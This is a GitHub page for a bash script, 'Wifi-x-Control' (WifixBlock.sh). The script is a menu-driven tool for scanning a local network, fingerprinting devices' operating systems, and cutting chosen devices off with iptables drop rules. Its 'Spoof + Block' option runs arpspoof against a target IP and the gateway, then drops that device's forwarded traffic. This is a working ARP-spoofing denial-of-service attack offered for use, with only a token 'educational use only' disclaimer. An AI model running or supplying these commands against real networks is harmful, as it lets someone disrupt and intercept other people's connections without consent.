-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathWifixBlock.sh
More file actions
109 lines (105 loc) · 6.05 KB
/
WifixBlock.sh
File metadata and controls
109 lines (105 loc) · 6.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/bin/bash
# Wifi-x-Control v1.1 - by reshot2005 💀😎
while true; do
clear
echo -e "\033[91;1m"
echo " ▄████▄ ▄▄▄ ▄████▄ ██ ▄█▀"
echo " ▒██▀ ▀█ ▒████▄ ▒██▀ ▀█ ██▄█▒ "
echo " ▒▓█ ▄ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ "
echo " ▒▓▓▄ ▄██▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ "
echo " ▒ ▓███▀ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄"
echo " ░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒"
echo " ░ ▒ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░"
echo " ░ ░ ▒ ░ ░ ░░ ░"
echo " ░ ░ ░ ░░ ░ ░ ░ "
echo " ░ ░ "
echo -e "\033[0m"
echo -e "\033[91;1m"
echo "╔═════════════════════════════════════════════════════════════════════════════════╗"
echo "║ ║"
echo "║ ██╗ ██╗██╗███████╗██╗ ██╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ║"
echo "║ ██║ ██║██║██╔════╝██║ ╚██╗██╔╝ ██║ ╚██╗ ██╔╝██╔═══██╗ ║"
echo "║ ██║ █╗ ██║██║█████╗ ██║ ╚███╔╝ ██║ ╚████╔╝ ██║ ██║ ║"
echo "║ ██║███╗██║██║██╔══╝ ██║ ██╔██╗ ██║ ╚██╔╝ ██║ ██║ ║"
echo "║ ╚███╔███╔╝██║██║ ██ ██╔╝ ██╗ ██████╗ ██║ ╚██████╔╝ ║"
echo "║ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ║"
echo "║ ║"
echo "║ \033[92;1mWifi-x-Control v1.0 - by reshot2005\033[91;1m ║"
echo "╚═════════════════════════════════════════════════════════════════════════════════╝"
echo -e "\033[92m⚠️ Use this tool responsibly. For educational use only. ⚠️\033[0m"
echo -e "\033[96m[+] Main Menu\033[0m"
echo "1. 🔍 Scan Network (ARP or Nmap)"
echo "2. 📡 Block Device by IP"
echo "3. 🔓 Unblock Device by IP"
echo "4. 🧾 Show Currently Blocked IPs"
echo "5. 🧠 Identify OS of a Device"
echo "6. 🎯 Spoof + Block a Device"
echo "7. 🚪 Exit"
read -p $'\n\033[93m[?] Choose an option: \033[0m' choice
case $choice in
1)
echo "Choose scan method:"
echo "1. ARP-Scan (faster)"
echo "2. Nmap Ping Scan (deeper)"
read -p "Select [1 or 2]: " scan_choice
if [ "$scan_choice" == "1" ]; then
read -p "Enter your network interface (e.g. wlan0): " iface
sudo arp-scan --interface=$iface --localnet
elif [ "$scan_choice" == "2" ]; then
read -p "Enter network range (e.g. 192.168.20.0/24): " net_range
sudo nmap -sn $net_range
else
echo "Invalid option."
fi
read -p "Press Enter to return to menu..."
;;
2)
read -p "[ BLOCK DEVICE ] Enter target IP to BLOCK: " target_ip
sudo iptables -A FORWARD -s "$target_ip" -j DROP
echo "[✓] $target_ip is now BLOCKED!"
read -p "Press Enter to return to menu..."
;;
3)
read -p "[ UNBLOCK DEVICE ] Enter target IP to UNBLOCK: " target_ip
echo "[*] Checking for rules to remove..."
sudo iptables -L FORWARD --line-numbers | grep "$target_ip" | grep DROP | awk '{print $1}' | sort -nr | while read line; do
sudo iptables -D FORWARD $line
done
echo "[✓] $target_ip is now UNBLOCKED (all rules removed)!"
read -p "Press Enter to return to menu..."
;;
4)
echo "Currently Blocked IPs (iptables FORWARD chain):"
sudo iptables -L FORWARD --line-numbers
read -p "Press Enter to return to menu..."
;;
5)
read -p "Enter the target IP to analyze OS (e.g. 192.168.20.7): " os_ip
sudo nmap -O "$os_ip"
read -p "Press Enter to return to menu..."
;;
6)
read -p "Enter interface (e.g. wlan0): " iface
read -p "Enter your gateway IP (router ip 192.168.x.x): " gw
read -p "Enter target IP to spoof & block: " target_ip
echo "[*] Starting ARP spoofing..."
sudo arpspoof -i $iface -t $target_ip $gw &
SPOOF_PID=$!
sleep 2
echo "[*] Blocking device with iptables..."
sudo iptables -A FORWARD -s "$target_ip" -j DROP
echo "[✓] Spoofing + Blocking enabled for $target_ip"
read -p "Press Enter to stop spoofing and return to menu..."
kill $SPOOF_PID
echo "[*] Spoofing stopped."
;;
7)
echo "Goodbye, Hacker 😎"
break
;;
*)
echo "Invalid choice."
sleep 1
;;
esac
done